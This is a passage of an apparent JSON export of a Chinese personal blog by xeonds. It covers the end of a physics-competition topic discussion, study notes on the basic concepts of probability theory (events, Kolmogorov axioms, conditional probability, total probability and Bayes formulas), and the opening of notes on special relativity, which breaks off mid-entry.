title=\"微粒上浮\"\u003e\u003c/a\u003e微粒上浮\u003c/h3\u003e\u003cp\u003e初步分析应该是张力把微粒吸上去的速度大于水滴的下落速度,从而产生了微粒似乎在往上走的现象。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e选题上大致就是这样。第二个倒是能直接做出来,第一个感觉应该能查资料解决;后两个纯粹定性描述一下就行了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e编辑:拿奖了,校级。但是忘了登我的名字。\u003cbr/\u003e下次还是多关注一下群里的通知吧\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/19/%E7%89%A9%E7%90%86/%E7%89%A9%E7%90%86%E5%AD%A6%E6%9C%AF%E7%AB%9E%E8%B5%9B%EF%BC%9A%E9%80%89%E9%A2%98%E8%AE%A8%E8%AE%BA/"},{"title":"第一章:概率论的基本概念","time":"2022-11-17T07:41:16Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e概率论的内容组织线索:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020221117154226.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"随机现象与随机实验\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E9%9A%8F%E6%9C%BA%E7%8E%B0%E8%B1%A1%E4%B8%8E%E9%9A%8F%E6%9C%BA%E5%AE%9E%E9%AA%8C\" class=\"headerlink\" title=\"随机现象与随机实验\"\u003e\u003c/a\u003e随机现象与随机实验\u003c/h2\u003e\u003cp\u003e随机现象分为\u003cstrong\u003e确定性现象\u003c/strong\u003e、\u003cstrong\u003e不确定性现象\u003c/strong\u003e。前者结果确定,例如太阳东升西落;后者现象不确定,例如未来的天气。随机试验E表示,\u003cstrong\u003e针对随机现象的观察、记录、试验\u003c/strong\u003e。它有如下特点:\u003c/p\u003e\u003cul\u003e\u003cli\u003e可重复\u003c/li\u003e\u003cli\u003e全部可能性已知\u003c/li\u003e\u003cli\u003e试验前不确定试验结果\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"样本空间与随机事件\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E6%A0%B7%E6%9C%AC%E7%A9%BA%E9%97%B4%E4%B8%8E%E9%9A%8F%E6%9C%BA%E4%BA%8B%E4%BB%B6\" class=\"headerlink\" title=\"样本空间与随机事件\"\u003e\u003c/a\u003e样本空间与随机事件\u003c/h2\u003e\u003cp\u003e\u003cstrong\u003e样本空间$\\Omega$\u003c/strong\u003e 指的是随机试验E的所有结果构成的集合,记为$\\Omega={e}$。每个结果$e$是$\\Omega$中一个元素,称为样本点。其中的\u003cstrong\u003e元素数量可以无限\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e一些随机试验E的样本点的集合(可空)称为\u003cstrong\u003e随机事件\u003c/strong\u003e,也称事件。全体样本点构成的集合称为样本空间,记为$\\Omega$。每次试验,当且仅当\u003cstrong\u003e该子集的一个样本点出现\u003c/strong\u003e时,称这一事件发生。\u003c/p\u003e\u003cp\u003e如果Ω只\u003cstrong\u003e包含有限个样本点\u003c/strong\u003e,则\u003cstrong\u003e单个样本点构成的事件(单点集)\u003c/strong\u003e,称为\u003cstrong\u003e基本事件\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e如果\u003cstrong\u003e将Ω亦视作事件\u003c/strong\u003e,是自身子集,则每次试验,Ω总是发生,称为\u003cstrong\u003e必然事件\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e空集Φ\u003c/strong\u003e也是样本空间Ω的子集,不包含任何样本点,称为\u003cstrong\u003e不可能事件\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"事件间的关系\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E4%BA%8B%E4%BB%B6%E9%97%B4%E7%9A%84%E5%85%B3%E7%B3%BB\" class=\"headerlink\" title=\"事件间的关系\"\u003e\u003c/a\u003e事件间的关系\u003c/h3\u003e\u003cp\u003e事件间有如下几种运算:\u003c/p\u003e\u003cul\u003e\u003cli\u003e包含\u003c/li\u003e\u003cli\u003e并事件(至少一个发生)\u003c/li\u003e\u003cli\u003e交事件(同时发生),简写为AB\u003c/li\u003e\u003cli\u003e差事件:一个发生且另一个不发生\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e对应几种运算律:\u003c/p\u003e\u003cul\u003e\u003cli\u003e交换律:并事件/交事件顺序可互换\u003c/li\u003e\u003cli\u003e结合律:A ∪ (B ∪ C) = (A ∪ B) ∪ C,A ∩ (B ∩ C) = (A ∩ B) ∩ C\u003c/li\u003e\u003cli\u003e分配律:\u003cbr/\u003e$$A\\cup (B\\cap C)=(A\\cup B)\\cap (A\\cup C)$$\u003cbr/\u003e$$A\\cap (B\\cup C)=(A\\cap B)\\cup (A\\cap C)$$\u003c/li\u003e\u003cli\u003e德摩根律:\u003cbr/\u003e$$\\overline{A\\cup B}=\\overline{A}\\cap \\overline{B}=\\overline{A}\\overline{B}$$\u003cbr/\u003e$$\\overline{A\\cap B}=\\overline{A}\\cup \\overline{B}$$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e也有几种关系:\u003c/p\u003e\u003cul\u003e\u003cli\u003e互斥:A、B不同时发生\u003c/li\u003e\u003cli\u003e对立/互逆:每次试验A、B必有一个发生。A的逆事件记作$\\overline{A}$。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"概率及其性质\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E6%A6%82%E7%8E%87%E5%8F%8A%E5%85%B6%E6%80%A7%E8%B4%A8\" class=\"headerlink\" title=\"概率及其性质\"\u003e\u003c/a\u003e概率及其性质\u003c/h2\u003e\u003cp\u003e在相同的条件下,进行了n次试验,其中事件A发生的次数$n_A$称为事件A发生的\u003cstrong\u003e频数\u003c/strong\u003e,比值$n_A/n$称为事件$A$发生的频率 , 记为$f_n(A)$。其中,频率取值范围$[0,1]$,且$f_n(\\Omega)=1$。对于一组互不相容的事件而言,其并事件的频率为各自频率之和。\u003c/p\u003e\u003cp\u003e重复试验的次数n 逐渐增大时,频率 $f_n(A)$ 呈现稳定性,趋于某个常数$p$,这是统计的规律性。\u003c/p\u003e\u003cp\u003e由大数定律可证明,由频率的稳定性和频率的性质,得\u003cstrong\u003e概率定义\u003c/strong\u003e:重复试验的次数趋于无穷,频率$f_n(A)$接近概率$P(A)$。它有这么几个性质:频率取值范围$P(A)\\geq 0$,且$P(\\Omega)=1$。对于一组互不相容的事件而言,其并事件的概率为各自概率之和。这三性质就是\u003cstrong\u003e柯尔莫哥洛夫公理\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e它有如下性质:\u003c/p\u003e\u003cul\u003e\u003cli\u003e$P(\\Phi)=0$\u003c/li\u003e\u003cli\u003e互不相容和事件的概率为每个事件的概率之和\u003c/li\u003e\u003cli\u003e若有$A\\subset B$,则$P(B – A) = P(B) - P(A)$\u003c/li\u003e\u003cli\u003e对任一事件$A$, $P(A)\\leq 1$\u003c/li\u003e\u003cli\u003e对立(互逆)事件的概率之和为1\u003c/li\u003e\u003cli\u003e$P(A \\cup B) = P(A) + P(B) - P(AB)$\u003cbr/\u003e上面这条,推广到任意多事件(或者直接整体法然后分n次使用上面这条),可得到:\u003cbr/\u003e$$\u003cbr/\u003eP(A_1\\cup A_2\\cup \\cdots \\cup A_n)=\\Sigma_{i=1}^n P(A_i)-\\Sigma_{1\\leq i\\leq j\\leq n} P(A_iA_j)+ \\Sigma_{1\\leq i\\leq j\\leq k\\leq n}P(A_iA_jA_k) + \\cdots +(-1)^{n-1}P(A_1A_2\\cdots A_n)\u003cbr/\u003e$$\u003c/li\u003e\u003cli\u003e极限性:设$A_1\\subset A_2\\subset \\cdots \\subset A_n\\subset \\cdots$是一系列上升的事件,则$\\lim_{n\\to \\infty}P(A_n)=P(\\cup_{i=1}^\\infty A_i)$,反之也成立,将并换做交即可。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020221117214919.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"古典概率\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E5%8F%A4%E5%85%B8%E6%A6%82%E7%8E%87\" class=\"headerlink\" title=\"古典概率\"\u003e\u003c/a\u003e古典概率\u003c/h2\u003e\u003cp\u003e\u003cstrong\u003e古典概型(等可能概型)\u003c/strong\u003e 的定义为:若试验 E 满足:\u003c/p\u003e\u003col\u003e\u003cli\u003e样本空间Ω包含\u003cstrong\u003e有限个元素\u003c/strong\u003e \u003c/li\u003e\u003cli\u003e出现每一样本点的概率相等 (等可能性),即试验中\u003cstrong\u003e每个基本事件\u003c/strong\u003e发生的可能性相同,故\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e$$\u003cbr/\u003eP(A)=\\Sigma_{i=1}^kP({e_i})=\\frac{k}{n}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e古典概型的样本空间由n个独立等可能事件组成,故每个基本事件的概率都为$\\frac{1}{n}$。\u003c/p\u003e\u003cp\u003e排列和组合也是古典概率中重要的两个公式。排列表示从n个对象中按顺序选出m个对象:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eA_n^m=n(n-1)(n-2)\\cdots(n-m+1)=\\frac{n!}{(n-m)!}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e组合表示从n个对象中任选m个对象:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eC_n^m=\\frac{A_n^m}{m!}=\\frac{n!}{m!(n-m)!}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e上面两式中,均有$n\\geq m$。\u003c/p\u003e\u003cp\u003e加法原理和乘法原理高中就讲过,前者表示若完成一件事可有n类办法,其中,在第一类办法中有$m_1$种不同的方法,在第二类办法中有$m_2$种不同的方法,……, 在第n类办法中有$m_n$种不同的方法,则共有$\\Sigma_{i=1}^nm_i$种方法完成这件事;而乘法原理表示若完成一件事需分解成n个步骤,其中,做第一步有 $m_1$种不同的方法,做第二步有$m_2$种不同的方法,……, 做第n步有$m_n$种不同的方法,则完成这件事的方法共有$\\Pi_{i=1}^nm_i$种。\u003c/p\u003e\u003cp\u003e大学中新增加了\u003cstrong\u003e实际推断原理\u003c/strong\u003e,它的内容为:概率很小的事件在一次试验中\u003cstrong\u003e几乎是不发生\u003c/strong\u003e的。这符合我们对概率的直觉感受。注意这\u003cstrong\u003e不能理解成“小概率事件从不发生”\u003c/strong\u003e。与此同时,它还有另一层含义:\u003cstrong\u003e小概率事件在大量重复试验中必然发生\u003c/strong\u003e。\u003c/p\u003e\u003ch2 id=\"几何概率\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E5%87%A0%E4%BD%95%E6%A6%82%E7%8E%87\" class=\"headerlink\" title=\"几何概率\"\u003e\u003c/a\u003e几何概率\u003c/h2\u003e\u003cp\u003e在几何概型中,试验 E 满足:\u003c/p\u003e\u003col\u003e\u003cli\u003e所有可能的样本点构成的\u003cstrong\u003e样本空间是“连续”的\u003c/strong\u003e,构成了一个不可数\u003cstrong\u003e无穷集\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e样本点是“均等的”\u003c/strong\u003e ,即一次试验中,没有哪一个或哪一些比另一个或另一些更容易出现\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e直观上,每个事件发生的概率只与该事件的度量(如长度、面积、体积等)成正比例。\u003c/p\u003e\u003cp\u003e这种概率的计算公式为:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eP(A)=\\frac{A_{len/size/volume}}{\\Omega_{len/size/volume}}\u003cbr/\u003e$$\u003c/p\u003e\u003ch2 id=\"条件概率与概率的三大公式\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E6%9D%A1%E4%BB%B6%E6%A6%82%E7%8E%87%E4%B8%8E%E6%A6%82%E7%8E%87%E7%9A%84%E4%B8%89%E5%A4%A7%E5%85%AC%E5%BC%8F\" class=\"headerlink\" title=\"条件概率与概率的三大公式\"\u003e\u003c/a\u003e条件概率与概率的三大公式\u003c/h2\u003e\u003cp\u003e这是第一章的重点内容。\u003c/p\u003e\u003cp\u003e条件概率的公式如下。意思为:A发生的条件下B发生的概率,等于AB同时发生的概率除以A发生的概率。设试验共包含n个基本事件,A有m(m\u0026gt;0)个,AB有k个,则\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eP(B|A)=\\frac{k}{m}=\\frac{k/n}{m/n}\\frac{P(AB)}{P(A)}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e条件概率 P(·/A) 具有概率的所有性质:非负性、规范性、可列可加性。它也满足其他性质,例如:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020221117222955.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"乘法公式\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E4%B9%98%E6%B3%95%E5%85%AC%E5%BC%8F\" class=\"headerlink\" title=\"乘法公式\"\u003e\u003c/a\u003e乘法公式\u003c/h3\u003e\u003cp\u003e条件概率公式也可以反过来用来计算交事件的概率:$P(AB)=P(A)P(B|A)$,即\u003cstrong\u003e乘法公式\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e它也可以推广,逐项展开即可:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020221117223144.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"全概率公式\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E5%85%A8%E6%A6%82%E7%8E%87%E5%85%AC%E5%BC%8F\" class=\"headerlink\" title=\"全概率公式\"\u003e\u003c/a\u003e全概率公式\u003c/h3\u003e\u003cp\u003e$$\u003cbr/\u003eP(B)=\\sum_{i=1}^{n}P(A_i)P(B|A_i)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e上面的公式就是全概率公式。它表示$B$的概率可以用一系列概率和表示。\u003c/p\u003e\u003cp\u003e![[Pasted image 20230204114959.png]]\u003c/p\u003e\u003cp\u003e如上图所示,完备事件组是全样本空间的一个划分${A_i}$,$B$是一个横跨数个划分块的事件。造成B的可能有很多种,而全概率公式就是把这所有的概率加起来计算事件的总概率。\u003c/p\u003e\u003ch3 id=\"贝叶斯公式\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E8%B4%9D%E5%8F%B6%E6%96%AF%E5%85%AC%E5%BC%8F\" class=\"headerlink\" title=\"贝叶斯公式\"\u003e\u003c/a\u003e贝叶斯公式\u003c/h3\u003e\u003cp\u003e$$\u003cbr/\u003eP(A_i|B)=\\frac{P(A_iB)}{P(B)}=\\frac{P(A_i)P(B|A_i)}{\\sum{P(A_i)P(B|A_i)}}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e,且其中$P(B)\\gt 0$。\u003c/p\u003e\u003cp\u003e继续按照上图的划分理解,这公式表示计算某因素$A_i$导致$B$发生的概率。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e上面俩公式的用法是:明确起点事件、终点事件,画出起点到终点的所有路径。随后计算各路径的概率和(全概率)或者某路径在所有路径的占比(贝叶斯公式)。\u003c/p\u003e\u003ch2 id=\"独立性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/#%E7%8B%AC%E7%AB%8B%E6%80%A7\" class=\"headerlink\" title=\"独立性\"\u003e\u003c/a\u003e独立性\u003c/h2\u003e\u003cp\u003e后边再说\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/17/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E6%A6%82%E7%8E%87%E8%AE%BA%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5/"},{"title":"狭义相对论笔记","time":"2022-11-01T01:47:45Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e大物中只涉及狭义相对论时空观、高速运动力学的基本方程和相对论动力学主要结论。\u003c/p\u003e\u003ch2 id=\"0x01-伽利略坐标变换式·力学相对性原理\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/01/%E7%89%A9%E7%90%86/%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%AC%94%E8%AE%B0/#0x01-%E4%BC%BD%E5%88%A9%E7%95%A5%E5%9D%90%E6%A0%87%E5%8F%98%E6%8D%A2%E5%BC%8F%C2%B7%E5%8A%9B%E5%AD%A6%E7%9B%B8%E5%AF%B9%E6%80%A7%E5%8E%9F%E7%90%86\" class=\"headerlink\" title=\"0x01.伽利略坐标变换式·力学相对性原理\"\u003e\u003c/a\u003e0x01.伽利略坐标变换式·力学相对性原理\u003c/h2\u003e\u003cp\u003e经典牛顿力学体系中,对于时空的看法以绝对时空观为核心。它认为,时空是不变的,是“一个固定的舞台”。它也认为,力学规律亦是如此。\u003c/p\u003e\u003ch3 id=\"力学相对性原理\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/01/%E7%89%A9%E7%90%86/%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%AC%94%E8%AE%B0/#%E5%8A%9B%E5%AD%A6%E7%9B%B8%E5%AF%B9%E6%80%A7%E5%8E%9F%E7%90%86\" class=\"headerlink\" title=\"力学相对性原理\"\u003e\u003c/a\u003e力学相对性原理\u003c/h3\u003e\u003cp\u003e定义:\u003cstrong\u003e在所有彼此做匀速直线运动的惯性系中,物体运动遵循完全相同的力学规律,这规律有着完全相同的数学表达式。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e这也就是说,对于描述力学现象的规律而言,所有惯性系都是等价的。因此,也不能通过力学实验来确定当前惯性系是静止的,还是做匀速直线运动的。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e绝对时空观\u003c/strong\u003e:时间和空间都是绝对的,可以脱离物质运动而存在,并且时间与空间也没有任何联系。\u003c/p\u003e\u003cp\u003e这观点表现在对时间间隔和空间间隔的测量上,则表现为:所有惯性系中,任意两个观察者对于任意两个事件的时间间隔、空间间隔测量结果都相同。\u003c/p\u003e\u003ch3 id=\"伽利略坐标变换式\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/01/%E7%89%A9%E7%90%86/%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%AC%94%E8%AE%B0/#%E4%BC%BD%E5%88%A9%E7%95%A5%E5%9D%90%E6%A0%87%E5%8F%98%E6%8D%A2%E5%BC%8F\" class=\"headerlink\" title=\"伽利略坐标变换式\"\u003e\u003c/a\u003e伽利略坐标变换式\u003c/h3\u003e\u003cp\u003e基于绝对时空观,假设有两个惯性系$S$和$S’$,取坐标系$Oxyz$和$O’x’y’z’$分别与$S$和$S’$相联系,使它们的$x$轴重合,设$S’$系沿$x$轴相对$S$以速度$u$运动,并且当$O$与$O’$重合时,有$t=t’=0$。\u003c/p\u003e\u003cp\u003e设$P$点在$S$系中的坐标是$(x,y,z)$,在$S’$中的坐标是$(x’,y’,z’)$,则有:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e\\left{\u003cbr/\u003e\\begin{aligned}\u003cbr/\u003ex’\u0026amp;=x-ut\\\u003cbr/\u003ey’\u0026amp;=y\\\u003cbr/\u003ez’\u0026amp;=z\\\u003cbr/\u003e\\end{aligned}\u003cbr/\u003e\\right.\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e同时,根据绝对时空观,有:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003et’=t\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e这就是\u003cstrong\u003e伽利略坐标变换式\u003c/strong\u003e。同时,从它还可以推导出速度、加速度的变换式:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003e\\begin{aligned}\u003cbr/\u003ev’\u0026amp;=v-u\\\u003cbr/\u003ea’\u0026amp;=a\u003cbr/\u003e\\end{aligned}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e同时,由于经典力学认为,质量与其运动速度无关,即\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003em=m’\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e同时,质点在不同惯性系下受到的作用力$F=F’$,从而有\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eF’=m’a’\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e这表明牛顿第二定律具有伽利略变换的不变性。\u003c/p\u003e\u003cp\u003e但是,描述宏观电磁现象规律的麦克斯韦方程组不具有伽利略变换的不变性。这使得二者具有冲突,即,二者之一必然被修正。于是诞生了狭义相对论。\u003c/p\u003e\u003ch2 id=\"0x02-狭义相对论的两个基本假设\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/01/%E7%89%A9%E7%90%86/%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%AC%94%E8%AE%B0/#0x02-%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%9A%84%E4%B8%A4%E4%B8%AA%E5%9F%BA%E6%9C%AC%E5%81%87%E8%AE%BE\" class=\"headerlink\" title=\"0x02.狭义相对论的两个基本假设\"\u003e\u003c/a\u003e0x02.狭义相对论的两个基本假设\u003c/h2\u003e\u003cp\u003e光是电磁波,由麦克斯韦方程组可得,光的真空传播速率是\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ec=\\frac{1}{\\sqrt{\\epsilon_0\\mu_0}}=2.998\\times 10^8m/s\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e它是常量。这表明光的真空各向传播速率与参考系的选择以及光的传播方向无关。然而由经典伽利略变换可得出,在不同参考系测量同一束光的结果应该不同,例如$A$系结果是$c$,则与之相对速度为$u$的$B$系测量结果应当为$c\\pm u$,但是1887年利用迈克尔逊干涉仪完成的迈克尔逊-莫雷实验所测定的各向光速依旧为$c$。这对经典力学体系产生了巨大的冲击。\u003c/p\u003e\u003cp\u003e而爱因斯坦则从一个新的角度着手:自然界是对称的,电磁学、力学等一切物理学现象应当满足相对性原理。这也就是说,\u003cstrong\u003e所有惯性系中的物理规律及其数学表达式是相同的\u003c/strong\u003e。因此,并不能找到一个特殊的、同时满足经典力学和麦克斯韦方程组的惯性系。此外,将实验结果得到的\u003cstrong\u003e光速不变作为一个基本假设\u003c/strong\u003e提出。基于这两条假设,他建立了狭义相对论。\u003c/p\u003e\u003ch3 id=\"狭义相对论的两个基本假设\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/01/%E7%89%A9%E7%90%86/%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%AC%94%E8%AE%B0/#%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%9A%84%E4%B8%A4%E4%B8%AA%E5%9F%BA%E6%9C%AC%E5%81%87%E8%AE%BE\" class=\"headerlink\" title=\"狭义相对论的两个基本假设\"\u003e\u003c/a\u003e狭义相对论的两个基本假设\u003c/h3\u003e\u003cul\u003e\u003cli\u003e相对性原理:\u003cstrong\u003e在所有惯性系中,一切的物理学定律都相同,即具有相同的数学表达形式。即,对于描述一切物理现象的规律,所有惯性系等价。\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e光速不变原理:\u003cstrong\u003e在所有惯性系中,真空中光沿各向传播速率是常量$c$,与光源和观察者的运动状态无关。\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"0x03-狭义相对论时空观\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/01/%E7%89%A9%E7%90%86/%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%AC%94%E8%AE%B0/#0x03-%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E6%97%B6%E7%A9%BA%E8%A7%82\" class=\"headerlink\" title=\"0x03.狭义相对论时空观\"\u003e\u003c/a\u003e0x03.狭义相对论时空观\u003c/h2\u003e\u003ch3 id=\"同时性的相对性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/01/%E7%89%A9%E7%90%86/%E7%8B%AD%E4%B9%89%E7%9B%B8%E5%AF%B9%E8%AE%BA%E7%AC%94%E8%AE%B0/#%E5%90%8C%E6%97%B6%E6%80%A7%E7%9A%84%E7%9B%B8%E5%AF%B9%E6%80%A7\" class=\"headerlink\" 